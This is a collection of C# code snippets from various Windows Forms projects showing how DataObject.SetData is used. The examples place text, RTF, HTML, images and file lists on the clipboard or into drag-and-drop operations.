private IDataObject CloneClipboard(IDataObject obj) { if (obj == null) return null; string[] formats = obj.GetFormats(); if (formats.Length == 0) return null; IDataObject newObj = new DataObject(); foreach (string format in formats) { if (format.Contains("EnhancedMetafile")) //Ignore this. Cannot be processed in .NET continue; object o = obj.GetData(format); if (o != null) { newObj.SetData(o); } } return newObj; }
public static void copyToClipboard(List<Frame> frames) { if (frames.Count == 0) { return; } DataObject data = new DataObject(); data.SetData(frames.ToArray()); if (frames.Count == 1) { // Not necessary, but Microsoft recommends that we should // place data on the clipboard in as many formats possible. data.SetData(frames[0]); } StringBuilder sb = new StringBuilder(); foreach (Frame frame in frames) { sb.AppendLine(frame.getTabSeparatedString()); } data.SetText(sb.ToString()); Clipboard.SetDataObject(data, true); }
bool CopyTextToClipboard(string stringToCopy) { if (stringToCopy.Length > 0) { DataObject dataObject = new DataObject(); dataObject.SetData(DataFormats.UnicodeText, true, stringToCopy); // Default has no highlighting, therefore we don't need RTF output if (textArea.Document.HighlightingStrategy.Name != "Default") { dataObject.SetData(DataFormats.Rtf, RtfWriter.GenerateRtf(textArea)); } OnCopyText(new CopyTextEventArgs(stringToCopy)); // Work around ExternalException bug. (SD2-426) // Best reproducable inside Virtual PC. // SetDataObject has "retry" parameters, but apparently a call to "DoEvents" // is necessary for the workaround to work. int i = 0; while (true) { try { Clipboard.SetDataObject(dataObject, true, 5, 50); return true; } catch (ExternalException) { if (i++ > 5) throw; } System.Threading.Thread.Sleep(50); Application.DoEvents(); System.Threading.Thread.Sleep(50); } } else { return false; } }
bool CopyTextToClipboard(string stringToCopy, bool asLine) { if (stringToCopy.Length > 0) { DataObject dataObject = new DataObject(); dataObject.SetData(DataFormats.UnicodeText, true, stringToCopy); if (asLine) { MemoryStream lineSelected = new MemoryStream(1); lineSelected.WriteByte(1); dataObject.SetData(LineSelectedType, false, lineSelected); } // Default has no highlighting, therefore we don't need RTF output if (textArea.Document.HighlightingStrategy.Name != "Default") { dataObject.SetData(DataFormats.Rtf, RtfWriter.GenerateRtf(textArea)); } OnCopyText(new CopyTextEventArgs(stringToCopy)); // Work around ExternalException bug. (SD2-426) // Best reproducable inside Virtual PC. try { Clipboard.SetDataObject(dataObject, true, 10, 50); } catch (ExternalException) { Application.DoEvents(); try { Clipboard.SetDataObject(dataObject, true, 10, 50); } catch (ExternalException) {} } return true; } else { return false; } }
/// <summary> /// Copy selected text into Clipboard /// </summary> public static void Copy(FastColoredTextBox textbox) { if (textbox.Selection.IsEmpty) { textbox.Selection.Expand(); } if (!textbox.Selection.IsEmpty) { var exp = new ExportToHTML(); exp.UseBr = false; exp.UseNbsp = false; exp.UseStyleTag = true; string html = "<pre>" + exp.GetHtml(textbox.Selection.Clone()) + "</pre>"; var data = new DataObject(); data.SetData(DataFormats.UnicodeText, true, textbox.Selection.Text); data.SetData(DataFormats.Html, PrepareHtmlForClipboard(html)); data.SetData(DataFormats.Rtf, new ExportToRTF().GetRtf(textbox.Selection.Clone())); // var thread = new Thread(() => SetClipboard(data)); thread.SetApartmentState(ApartmentState.STA); thread.Start(); thread.Join(); } }
public DataObject ToDataObject() { DataObject obj = new DataObject(); obj.SetData(DataFormats.Serializable, this); obj.SetData(DataFormats.Text, Texte); return obj; }
public void RtfTextTest () { string rtf_text = @"{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fnil\fcharset0 Arial;}}{\*\generator Mono RichTextBox;}\pard\f0\fs16 hola\par}"; string plain_text = "hola"; Clipboard.SetText (rtf_text, TextDataFormat.Rtf); Assert.AreEqual (false, Clipboard.ContainsText (TextDataFormat.Text), "#A1"); Assert.AreEqual (false, Clipboard.ContainsText (TextDataFormat.UnicodeText), "#A2"); Assert.AreEqual (true, Clipboard.ContainsText (TextDataFormat.Rtf), "#A3"); Assert.AreEqual (rtf_text, Clipboard.GetText (TextDataFormat.Rtf), "#A4"); // Now use a IDataObject, so we can have more than one format at the time DataObject data = new DataObject (); data.SetData (DataFormats.Rtf, rtf_text); data.SetData (DataFormats.UnicodeText, plain_text); Clipboard.SetDataObject (data); Assert.AreEqual (true, Clipboard.ContainsText (TextDataFormat.Text), "#B1"); Assert.AreEqual (true, Clipboard.ContainsText (TextDataFormat.UnicodeText), "#B2"); Assert.AreEqual (true, Clipboard.ContainsText (TextDataFormat.Rtf), "#B3"); Assert.AreEqual (rtf_text, Clipboard.GetText (TextDataFormat.Rtf), "#B4"); Assert.AreEqual (plain_text, Clipboard.GetText (), "#B5"); Clipboard.Clear (); }
private void treeView1_ItemDrag(object sender, ItemDragEventArgs e) { // gx2. jsx, jsc reflector // ? // http://support.microsoft.com/kb/307968 // we can drag it into scite // DragDrop.DoDragDrop returns only after the complete drag-drop process is finished, // http://w3facility.org/question/dodragdrop-freezes-winforms-app-sometimes/ // https://msdn.microsoft.com/en-us/library/ms649011(VS.85).aspx // http://www.codeproject.com/Articles/17266/Drag-and-Drop-Items-in-a-WPF-ListView Console.WriteLine("treeView1_ItemDrag"); ; // http://stackoverflow.com/questions/1772102/c-sharp-drag-and-drop-from-my-custom-app-to-notepad var x = new DataObject( "treeView1_ItemDrag " + new { e.Item } ); // like props/ reg keys/ version nodes x.SetData("text/nodes/0", "hello"); x.SetData("text/nodes/1", "world"); // https://msdn.microsoft.com/en-us/library/system.windows.forms.control.dodragdrop(v=vs.110).aspx //this.DoDragDrop("treeView1_ItemDrag " + new { e.Item }, DragDropEffects.Copy); treeView1.DoDragDrop(x, DragDropEffects.Copy); // https://code.google.com/p/chromium/issues/detail?id=31037 // https://searchcode.com/codesearch/view/32985148/ }
public void Copy() { IDataObject clips = new DataObject(); clips.SetData(DataFormats.Bitmap, this.opened_image.get_bitmap()); clips.SetData(DataFormats.Text, this.opened_image.get_file_name()); Clipboard.SetDataObject(clips, true); }
protected override IDataObject GetDataObjectFromText(string text) { DataObject obj2 = new DataObject(); obj2.SetData(DataFormats.Text, text); obj2.SetData(DataFormats.Html, text); return obj2; }
public static void CopyUrl(string url, string name = null) { var dto = new DataObject(DataFormats.Html, string.Format(_htmlTemplate, url)); dto.SetData(DataFormats.Text, url); if (!string.IsNullOrEmpty(name)) dto.SetData(MessageSubjectFormat, name); Clipboard.SetDataObject(dto); }
/// <summary> /// Get data object with given html and plaintext ready to be used for clipboard or drag & drop. /// </summary> /// <param name="html">a html fragment</param> /// <param name="plainText">the plain text</param> public static DataObject GetDataObject(string html, string plainText) { var data = GetHtmlData(html); var dataObject = new DataObject(); dataObject.SetData(DataFormats.Html, data); dataObject.SetData(DataFormats.Text, plainText); return dataObject; }
private void button1_Click(object sender, EventArgs e) { DataObject data = new DataObject(); data.SetData(DataFormats.Text, textBox1.Text); string html = "<p>" + textBox1.Text + "</p>"; data.SetData(DataFormats.Html, html); Clipboard.SetDataObject(data, true); }
private void copyButton_Click(object sender, EventArgs e) { DataObject m_data = new DataObject(); m_data.SetData(DataFormats.Rtf, true, outputBox.Rtf); m_data.SetData(DataFormats.Text, true, outputBox.Text); Clipboard.SetDataObject(m_data, true); MessageBox.Show("Copied to Clipboard!"); }
/// <summary> /// Writes given text to the clipboard. /// </summary> public static void SetClipboardTextContent(bool formatted, object[] data) { IDataObject dataObject = new DataObject(); dataObject.SetData(DataFormats.UnicodeText, data[0]); if (formatted) { dataObject.SetData(DataFormats.Rtf, data[1]); dataObject.SetData(DataFormats.Html, data[2]); } Clipboard.SetDataObject(dataObject); }
private static DataObject new_data_object(string html, string plain) { html = html ?? String.Empty; var fragment = html_data_string(html); if (Environment.Version.Major < 4 && html.Length != Encoding.UTF8.GetByteCount(html)) fragment = Encoding.Default.GetString(Encoding.UTF8.GetBytes(fragment)); var dataObject = new DataObject(); dataObject.SetData(DataFormats.Html, fragment); dataObject.SetData(DataFormats.Text, plain); dataObject.SetData(DataFormats.UnicodeText, plain); return dataObject; }
public static bool CopyImage(Image image) { bool result; // http://csharphelper.com/blog/2014/09/copy-an-irregular-area-from-one-picture-to-another-in-c/ try { IDataObject data; Bitmap opaqueBitmap; Bitmap transparentBitmap; MemoryStream transparentBitmapStream; data = new DataObject(); opaqueBitmap = null; transparentBitmap = null; transparentBitmapStream = null; try { opaqueBitmap = image.Copy(Color.White); transparentBitmap = image.Copy(Color.Transparent); transparentBitmapStream = new MemoryStream(); transparentBitmap.Save(transparentBitmapStream, ImageFormat.Png); data.SetData(DataFormats.Bitmap, opaqueBitmap); data.SetData(PngFormat, false, transparentBitmapStream); Clipboard.Clear(); Clipboard.SetDataObject(data, true); } finally { opaqueBitmap?.Dispose(); transparentBitmapStream?.Dispose(); transparentBitmap?.Dispose(); } result = true; } catch (Exception ex) { MessageBox.Show($"Failed to copy image. {ex.GetBaseException(). Message}", "Copy Image", MessageBoxButtons.OK, MessageBoxIcon.Error); result = false; } return result; }
private void OnGridCellMouseMove(object sender, MouseEventArgs e) { if (_hitTest == null || _dragBox.Contains(e.X, e.Y)) return; var linkRow = (LinkRow)_folderBox.grFiles.Rows[_hitTest.RowIndex]; var fileLink = linkRow.Source as LibraryFileLink; if (fileLink == null || fileLink.IsFolder) return; var data = new DataObject(); data.SetData(DataFormats.FileDrop, new[] { fileLink.FullPath }); data.SetData(DataFormats.StringFormat, fileLink.FullPath); data.SetData(DataFormats.Serializable, fileLink); _folderBox.DoDragDrop(data, DragDropEffects.Copy); _hitTest = null; }
public void CopySelectedObjectsToClipboard() { System.Windows.Forms.DataObject dao = new System.Windows.Forms.DataObject(); ArrayList objectList = new ArrayList(); foreach (IHitTestObject o in this.m_SelectedObjects) { if (o.HittedObject is System.Runtime.Serialization.ISerializable) { objectList.Add(o.HittedObject); } } dao.SetData("Altaxo.Graph.GraphObjectList", objectList); // Test code to test if the object list can be serialized #if false { System.Runtime.Serialization.Formatters.Binary.BinaryFormatter binform = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); System.IO.MemoryStream stream = new System.IO.MemoryStream(); binform.Serialize(stream, objectList); stream.Flush(); stream.Seek(0, System.IO.SeekOrigin.Begin); object obj = binform.Deserialize(stream); stream.Close(); stream.Dispose(); } #endif // now copy the data object to the clipboard System.Windows.Forms.Clipboard.SetDataObject(dao, true); }
/// <summary> /// Copy Asn1Node data into clipboard as Asn1NodeDataFormat and Text format. /// </summary> /// <param name="node">Asn1Node</param> public static void Copy(Asn1Node node) { DataFormats.Format asn1Format = DataFormats.GetFormat(asn1FormatName); MemoryStream ms = new MemoryStream(); node.SaveData(ms); ms.Position = 0; byte[] ndata = new byte[ms.Length]; ms.Read(ndata, 0, (int)ms.Length); ms.Close(); DataObject aDataObj = new DataObject(); aDataObj.SetData(asn1FormatName, ndata); aDataObj.SetData( DataFormats.Text, Asn1Util.FormatString(Asn1Util.ToHexString(ndata), 32, 2)); Clipboard.SetDataObject(aDataObj, true); }
public void CutSelectedObjectsToClipboard() { System.Windows.Forms.DataObject dao = new System.Windows.Forms.DataObject(); ArrayList objectList = new ArrayList(); System.Collections.Generic.List <IHitTestObject> notSerialized = new System.Collections.Generic.List <IHitTestObject>(); foreach (IHitTestObject o in this.m_SelectedObjects) { if (o.HittedObject is System.Runtime.Serialization.ISerializable) { objectList.Add(o.HittedObject); } else { notSerialized.Add(o); } } dao.SetData("Altaxo.Graph.GraphObjectList", objectList); // now copy the data object to the clipboard System.Windows.Forms.Clipboard.SetDataObject(dao, true); // Remove the not serialized objects from the selection, so they are not removed from the graph.. foreach (IHitTestObject o in notSerialized) { m_SelectedObjects.Remove(o); } this.RemoveSelectedObjects(); }
private void label2_MouseDown(object sender, MouseEventArgs e) { // Start drag-and-drop if left mouse goes down over this label if (e.Button == MouseButtons.Left) { // Crete a new data object DataObject data = new DataObject(); // Get the TextBox text string dragString = this.textBox1.Text; // If the TextBox text was empty then use a default string if (string.IsNullOrEmpty(dragString)) dragString = "Empty string"; // Set the DataOject's data to a new SampleCsDragData object which // can be serialized. If you use an object that does not support the // serialize interface then you will NOT be able to drag and drop the // item onto a different session of Rhino. data.SetData(new SampleCsDragData(dragString)); // Start drag-and-drop this.DoDragDrop(data, DragDropEffects.Copy | DragDropEffects.Move); } }
private void btnCopyToClipboard_Click(System.Object sender, System.EventArgs e) { System.Windows.Forms.DataObject datobj = new System.Windows.Forms.DataObject(); datobj.SetData(System.Windows.Forms.DataFormats.Text, rtfMessage.Text); System.Windows.Forms.Clipboard.SetDataObject(datobj); }
/// <summary> /// Called when the tool is activated. /// </summary> protected override void OnActivateTool() { if(Selection.SelectedItems.Count == 0) return; try { //Clear the Anchors otherwise subsequent Copy operations will raise an exception due to the fact that the Anchors class is a static helper class Anchors.Clear(); //this will create a volatile collection of entities, they need to be unwrapped! //I never managed to get things working by putting the serialized collection directly onto the Clipboad. Thanks to Leppie's suggestion it works by //putting the Stream onto the Clipboard, which is weird but it works. MemoryStream copy = Selection.SelectedItems.ToStream(); DataFormats.Format format = DataFormats.GetFormat(typeof(CopyTool).FullName); IDataObject dataObject = new DataObject(); dataObject.SetData(format.Name, false, copy); Clipboard.SetDataObject(dataObject, false); } catch (Exception exc) { throw new InconsistencyException("The Copy operation failed.", exc); } finally { DeactivateTool(); } }
public static SWF.IDataObject ToSwf(this TransferDataSource data) { var result = new SWF.DataObject(); foreach (var type in data.DataTypes) { var value = data.GetValue(type); if (type == TransferDataType.Text) { result.SetText((string)value); } else if (type == TransferDataType.Uri) { var uris = new StringCollection(); uris.Add(((Uri)value).LocalPath); result.SetFileDropList(uris); } else { result.SetData(type.Id, value); } } return(result); }
public static bool CopyTextToClipboard(string stringToCopy) { if (stringToCopy.Length > 0) { DataObject dataObject = new DataObject(); dataObject.SetData(DataFormats.UnicodeText, true, stringToCopy); // Work around ExternalException bug. (SD2-426) // Best reproducable inside Virtual PC. try { Clipboard.SetDataObject(dataObject, true, 10, 50); } catch (ExternalException) { Application.DoEvents(); try { Clipboard.SetDataObject(dataObject, true, 10, 50); } catch (ExternalException) { } } return true; } else { return false; } }
private void copyToolStripMenuItem_Click(object sender, EventArgs e) { /* SceneJS scene = (SceneJS)treeView1.Nodes[0].Tag; if (scene != null) { object obj = scene.GetSelectedObject(); if( obj != null ) { Clipboard.SetData("WebGLSceneObject", obj); } } */ Clipboard.Clear(); List<object> selected = new List<object>(); foreach (TreeNode n in treeView1.SelectedNodes) { selected.Add(n.Tag); } DataFormats.Format df = DataFormats.GetFormat(typeof(List<object>).FullName); IDataObject dato = new DataObject(); dato.SetData(df.Name, false, selected); Clipboard.SetDataObject(dato, false); }
public void Send(string archiveFilename, CancellationToken cancellationToken, SimpleProgressCallback progressCallback = null) { // create drop effect memory stream byte[] moveEffect = new byte[] { (byte) (performCut ? 2 : 5), 0, 0, 0 }; MemoryStream dropEffect = new MemoryStream(); dropEffect.Write(moveEffect, 0, moveEffect.Length); // create file data object DataObject data = new DataObject(); data.SetFileDropList(new StringCollection { archiveFilename }); data.SetData("Preferred DropEffect", dropEffect); // create STA thread that'll work with Clipboard object Thread copyStaThread = new Thread(() => { Clipboard.Clear(); Clipboard.SetDataObject(data, true); }) { Name = "Clipboard copy thread" }; copyStaThread.SetApartmentState(ApartmentState.STA); // start the thread and wait for it to finish copyStaThread.Start(); copyStaThread.Join(); }
bool CopyTextToClipboard() { string str = textArea.SelectionManager.SelectedText; if (str.Length > 0) { // paste to clipboard // BIG HACK: STRANGE EXTERNAL EXCEPTION BUG WORKAROUND for (int i = 0; i < 5; ++i) { try { DataObject dataObject = new DataObject(); dataObject.SetData(DataFormats.UnicodeText, true, str); // Default has no highlighting, therefore we don't need RTF output if (textArea.Document.HighlightingStrategy.Name != "Default") { dataObject.SetData(DataFormats.Rtf, RtfWriter.GenerateRtf(textArea)); } OnCopyText(new CopyTextEventArgs(str)); Clipboard.SetDataObject(dataObject, true); return true; } catch (Exception e) { Console.WriteLine("Got exception while Copy text to clipboard : " + e); } Thread.Sleep(100); } } return false; }
private void toolStripMenuItem1_Click(object sender, EventArgs e) { var dataObject = new System.Windows.Forms.DataObject(); dataObject.SetData(DataFormats.Text, ToText(m_dtCardProperties, "\t")); Clipboard.SetDataObject(dataObject, true); }
public void CopyAsCodeBlock() { //{\rtf\ansi{\fonttbl{\f0 Cousine;}}{\colortbl;\red0\green0\blue255;}\f0 \fs18 \cf1 void\cf0 test()\par \{\par \cf1 int\cf0 i = 0; \par \}\par } // Change selection starting point by removing white space int leftWhiteSpaceCount = _selection.Text.Length - _selection.Text.TrimStart(' ').Length; _selection.MoveToLineAndOffset(_selection.TopPoint.Line, _selection.TopPoint.DisplayColumn + leftWhiteSpaceCount, true); //SendKeys.SendWait("^(c)"); // copy selected _selection.Copy(); DataObject dataObject = (DataObject)Clipboard.GetDataObject(); DataObject newDataObject = new DataObject(); // clear text string text = dataObject.GetText(); int len = text.Length; text = text.TrimStart(null); int firstLineStartIndex = text.Length - text.TrimStart(null).Length; int secondLineStartIndex = firstLineStartIndex + 8; var sb = new StringBuilder(); string[] lines = text.Split(new[] { "\r\n" }, StringSplitOptions.None); sb.AppendLine(lines[0].TrimStart(' ')); for (var i = 1; i < lines.Length; i++) { sb.AppendLine(lines[i].Substring(secondLineStartIndex)); } newDataObject.SetText(sb.ToString()); sb.Clear(); // rich text string rtf = (string)dataObject.GetData(DataFormats.Rtf); // change font rtf = rtf.Replace(@"{\fonttbl{\f0 Cousine;}}", @"{\fonttbl{\f0 Consolas;}}"); string[] rtfLines = rtf.Split(new[] { @"\par " }, StringSplitOptions.None); sb.AppendLine(rtfLines[0]); for (var i = 1; i < rtfLines.Length; i++) { sb.Append(@"\par "); if (rtfLines[i].Length > secondLineStartIndex) { sb.Append(rtfLines[i].Substring(secondLineStartIndex)); } else { sb.Append(rtfLines[i]); } } newDataObject.SetData(DataFormats.Rtf, sb.ToString()); Clipboard.SetDataObject(newDataObject); }
private void copyLocationToolStripMenuItem_Click(object sender, EventArgs e) { IDataObject ido = new System.Windows.Forms.DataObject(); ClipboardLocation loc = new ClipboardLocation(Convert.ToInt32(LastMouseVector.X), Convert.ToInt32(LastMouseVector.Y), RegionMgr.CurrentRegion.ID); ido.SetData(loc); Clipboard.SetDataObject(ido, true); }
private void button1_Click(object sender, EventArgs e) { DateTime epoch = new DateTime(1970, 1, 1); long timestamp = (dateTimePicker1.Value.ToUniversalTime().Ticks - epoch.Ticks) / TimeSpan.TicksPerSecond; IDataObject dataObject = new DataObject("Text", textBox2.Text); dataObject.SetData("SkypeMessageFragment", new MemoryStream(Encoding.UTF8.GetBytes(String.Format("<quote author=\"{0}\" timestamp=\"{1}\">{2}</quote>", textBox1.Text, timestamp, textBox2.Text)))); Clipboard.SetDataObject(dataObject); }
public static void copyToClipBoard(Expr expr, Image image) { string[] s = new string[1]; s[0] = FileUtility.FullPath(expr); DataObject dataObject = new DataObject(); dataObject.SetData(DataFormats.FileDrop, s); dataObject.SetImage(image); Clipboard.SetDataObject(dataObject); }
private void copyToolStripMenuItem_Click(object sender, EventArgs e) { // Ctrl + C should preform this as well, so there is no need to override ProcessCmdKey. MemoryStream ms = new MemoryStream(); textureDisplay.Image.Save(ms, ImageFormat.Png); IDataObject dataObject = new DataObject(); dataObject.SetData("PNG", false, ms); Clipboard.SetDataObject(dataObject, true); }
private void CopySelectedGrab(object sender, ExecutedRoutedEventArgs e) { var imgdata = SelectedCapture.ImageAsJpg(); Image img = Image.FromStream(imgdata); IDataObject dataObj = new DataObject(); dataObj.SetData(img); WpfClipboard.SetClipboardDataObject(dataObj); }
public bool PerformMapping(IServiceProvider serviceProvider, IDataObject originalDataObject, DataObject mappedDataObject) { if (this.IsValidDataObject(serviceProvider, originalDataObject)) { IDesignerHost service = (IDesignerHost) serviceProvider.GetService(typeof(IDesignerHost)); if (service == null) { return false; } string input = null; Type data = originalDataObject.GetData(WebFormsToolboxDataItem.WebFormsToolboxDataFormat) as Type; if (data != null) { string format = string.Empty; object[] customAttributes = data.GetCustomAttributes(typeof(ToolboxDataAttribute), false); if (customAttributes.Length > 0) { ToolboxDataAttribute attribute = (ToolboxDataAttribute) customAttributes[0]; format = attribute.Data; } if ((format == null) || (format.Length == 0)) { format = "<{0}:" + data.Name + " runat=\"server\"></{0}:" + data.Name + ">"; } string tagPrefix = ((IWebFormReferenceManager) service.GetService(typeof(IWebFormReferenceManager))).GetTagPrefix(data); WebFormsDesignView view = service.GetService(typeof(IDesignView)) as WebFormsDesignView; if (view != null) { view.RegisterNamespace(tagPrefix); } input = string.Format(format, tagPrefix); StringWriter output = new StringWriter(); new HtmlFormatter().Format(input, output, new HtmlFormatterOptions(' ', 4, 80, HtmlFormatterCase.LowerCase, HtmlFormatterCase.LowerCase, true)); input = output.ToString(); } if (input != null) { mappedDataObject.SetData(DataFormats.Html, input); mappedDataObject.SetData(DataFormats.Text, input); return true; } } return false; }
public DataObject GetDataObject() { DataObject ret = new System.Windows.Forms.DataObject(); foreach (String format in _dict.Keys) { ret.SetData(format, _dict[format]); } return ret; }
public static void CopyCtrl2ClipBoard(Control ctrl) { CBFormCtrl cbCtrl = new CBFormCtrl(ctrl); IDataObject ido = new System.Windows.Forms.DataObject(); //ido.SetData(CBFormCtrl.Format.Name, true, cbCtrl); //ido = Clipboard.GetDataObject(); ido.SetData(CBFormCtrl.Format.Name, false, cbCtrl); Clipboard.SetDataObject(ido, false); }
private void KTreeView_MouseMove(object sender, MouseEventArgs e) { if ((this.igxObject_0 != null) && ((e.Button & MouseButtons.Left) == MouseButtons.Left)) { this.point_0 = SystemInformation.WorkingArea.Location; System.Windows.Forms.DataObject data = new System.Windows.Forms.DataObject(); data.SetData(this.arrayList_0); base.DoDragDrop(data, DragDropEffects.Link | DragDropEffects.Move | DragDropEffects.Copy | DragDropEffects.Scroll); } }
private void Copy_Click(object sender, RoutedEventArgs e) { var data = new System.Windows.Forms.DataObject(); Thread thread; data.SetData(System.Windows.Forms.DataFormats.UnicodeText, true, RecordText.Text); thread = new Thread(() => System.Windows.Forms.Clipboard.SetDataObject(data, true)); thread.SetApartmentState(ApartmentState.STA); thread.Start(); thread.Join(); System.Windows.Forms.MessageBox.Show("Скопировано"); }
/// <summary> /// 测试生成RTF文档并设置到系统剪切板中 /// 执行这个函数后就可以在 MS Word中使用粘贴操作来显示程序生成的文档了 /// </summary> internal static void TestClipboard() { System.IO.StringWriter myStr = new System.IO.StringWriter(); RTFWriter w = new RTFWriter(myStr); TestBuildRTF(w); w.Close(); System.Windows.Forms.DataObject data = new System.Windows.Forms.DataObject(); data.SetData(System.Windows.Forms.DataFormats.Rtf, myStr.ToString()); System.Windows.Forms.Clipboard.SetDataObject(data, true); System.Windows.Forms.MessageBox.Show("好了,你可以在MS Word 中粘贴文本了."); }
public void Copy(ClipboardContentType type, object contents) { System.Windows.Forms.IDataObject data = new System.Windows.Forms.DataObject(this.GetDataFormatByContentType(type), contents); if (type == ClipboardContentType.FileDrop) { MemoryStream stream = new MemoryStream(4); byte[] bytes = new byte[] { 5, 0, 0, 0 }; stream.Write(bytes, 0, bytes.Length); data.SetData("Preferred DropEffect", stream); } this.Contents = data; }
/// <summary> /// Sets managed data to a clipboard DataObject. /// </summary> /// <param name="dataObject">The DataObject to set the data on.</param> /// <param name="format">The clipboard format.</param> /// <param name="data">The data object.</param> /// <remarks> /// Because the underlying data store is not storing managed objects, but /// unmanaged ones, this function provides intelligent conversion, allowing /// you to set unmanaged data into the COM implemented IDataObject.</remarks> public static void SetDataEx(this System.Windows.Forms.IDataObject dataObject, string format, object data) { DataFormats.Format dataFormat = DataFormats.GetFormat(format); // Initialize the format structure var formatETC = new FORMATETC(); formatETC.cfFormat = (short)dataFormat.Id; formatETC.dwAspect = DVASPECT.DVASPECT_CONTENT; formatETC.lindex = -1; formatETC.ptd = IntPtr.Zero; // Try to discover the TYMED from the format and data TYMED tymed = GetCompatibleTymed(format, data); // If a TYMED was found, we can use the system DataObject // to convert our value for us. if (tymed != TYMED.TYMED_NULL) { formatETC.tymed = tymed; // Set data on an empty DataObject instance var conv = new System.Windows.Forms.DataObject(); conv.SetData(format, true, data); // Now retrieve the data, using the COM interface. // This will perform a managed to unmanaged conversion for us. STGMEDIUM medium; ((IDataObject)conv).GetData(ref formatETC, out medium); try { // Now set the data on our data object ((IDataObject)dataObject).SetData(ref formatETC, ref medium, true); } catch { // On exceptions, release the medium ReleaseStgMedium(ref medium); throw; } } else { // Since we couldn't determine a TYMED, this data // is likely custom managed data, and won't be used // by unmanaged code, so we'll use our custom marshaling // implemented by our COM IDataObject extensions. ((IDataObject)dataObject).SetManagedData(format, data); } }
/// <summary> /// Adds the specified data to the clipboard /// </summary> public static void AddToClipboard(params ClipboardData[] data) { Forms.IDataObject dataObject = new Forms.DataObject(); foreach (var clipboardData in data) { if (clipboardData.Data != null) { dataObject.SetData(Clipboard.FormatToString(clipboardData.Format), clipboardData.Data); } } if (dataObject.GetFormats().Length > 1) { Forms.Clipboard.SetDataObject(dataObject, copy: true); } }
public bool Copy() { if (myImage == null) { return(false); } System.Windows.Forms.DataObject d = new System.Windows.Forms.DataObject(); System.Drawing.Bitmap bmp = this.GetSelectedBmp(); if (bmp == null) { bmp = new System.Drawing.Bitmap(this.myImage); } d.SetData(System.Windows.Forms.DataFormats.Bitmap, bmp); System.Windows.Forms.Clipboard.SetDataObject(d); return(true); }
public void Paste(ClipItem clip) { switch (clip.Type) { case ClipItem.EType.eText: { fLocalCopy = true; DataObject data = new DataObject(); data.SetData(DataFormats.Text, clip.Content); Clipboard.Clear(); Clipboard.SetDataObject(data); if (fCallFromHotkey) { fCallFromHotkey = false; Hide(); SendKeys.SendWait("^v"); } break; } case ClipItem.EType.eImage: { fLocalCopy = true; DataObject data = new DataObject(); data.SetData(DataFormats.Bitmap, clip.Image); Clipboard.Clear(); Clipboard.SetDataObject(data); if (fCallFromHotkey) { fCallFromHotkey = false; Hide(); SendKeys.SendWait("^v"); } break; } default: break; } }
public static void SetFileDropList(StringCollection filePaths) { if (filePaths == null) { throw new ArgumentNullException(nameof(filePaths)); } // throw Argument exception for zero-length filepath collection. if (filePaths.Count == 0) { throw new ArgumentException(SR.CollectionEmptyException); } //Validate the paths to make sure they don't contain invalid characters foreach (string path in filePaths) { try { string temp = Path.GetFullPath(path); } catch (Exception e) { if (ClientUtils.IsSecurityOrCriticalException(e)) { throw; } throw new ArgumentException(string.Format(SR.Clipboard_InvalidPath, path, "filePaths"), e); } } if (filePaths.Count > 0) { IDataObject dataObject = new DataObject(); string[] strings = new string[filePaths.Count]; filePaths.CopyTo(strings, 0); dataObject.SetData(DataFormats.FileDrop, true, strings); Clipboard.SetDataObject(dataObject, true); } }
/// <summary> /// 复制到剪贴板 /// </summary> void CopyToClipboard() { //复制 var pas = list.SelectedItems.Cast <ListViewItem>().Select(s => s.Tag as Entity.Web.Passenger).ToArray(); if (pas.IsEmpty()) { Information("没有选择联系人"); return; } var data = new System.Windows.Forms.DataObject(); //联系人 var sb = new StringBuilder(); foreach (var passenger in pas) { sb.AppendLine(string.Format("{0}, {1}, {2}, {3}, {4}", ParamData.PassengerType.GetValue(passenger.Type), passenger.Name, ParamData.PassengerIdType.GetValue(passenger.IdTypeCode), passenger.IdNo, passenger.MobileNo)); } data.SetData(DataFormats.Text, sb.ToString()); Clipboard.SetDataObject(data, true); Information("已将联系人信息复制到剪贴板"); }
public void GridCopyToClipboard(int[] selRows, int[] selCols) { // Declarations int minRow = 0, maxRow = 0, minCol = 0, maxCol = 0; int rows = 0, cols = 0; rows = selRows.Length; minRow = selRows[0]; maxRow = selRows[rows - 1]; cols = selCols.Length; minCol = selCols[0]; maxCol = selCols[cols - 1]; // Array tables that allows to find an ouput clipboard range row/col from input cell Dictionary <int, int> rowsRefs = new Dictionary <int, int>(); for (int i = 0; i < rows; i++) { rowsRefs.Add(selRows[i], i + 1); } Dictionary <int, int> colsRefs = new Dictionary <int, int>(); for (int i = 0; i < cols; i++) { colsRefs.Add(selCols[i], i); } // Ignore row headers if (minCol == 0) { cols--; } // Copy the headers System.Text.StringBuilder builder = new System.Text.StringBuilder(); foreach (int c in selCols) { if (grid1[0, c].Value != null) { builder.Append(grid1[0, c].Value.ToString()); } builder.Append("\t"); } builder.AppendLine(); // Copy the data foreach (int r in selRows) { foreach (int c in selCols) { if (grid1[r, c].Editor != null) { builder.Append(grid1[r, c].Editor.ValueToString(grid1[r, c].Value)); } else { builder.Append(grid1[r, c].Value.ToString()); } builder.Append("\t"); } builder.AppendLine(); } // New clipboard DataObject System.Windows.Forms.DataObject cbDataObject = new System.Windows.Forms.DataObject(); cbDataObject.SetData("SourceGrid.Grid", this); // Copy string object to clipboard cbDataObject.SetData(typeof(string), builder.ToString()); System.Windows.Forms.Clipboard.SetDataObject(cbDataObject); }
public static void SetData(string format, object data) { System.Windows.Forms.IDataObject obj2 = new DataObject(); obj2.SetData(format, data); SetDataObject(obj2, true); }
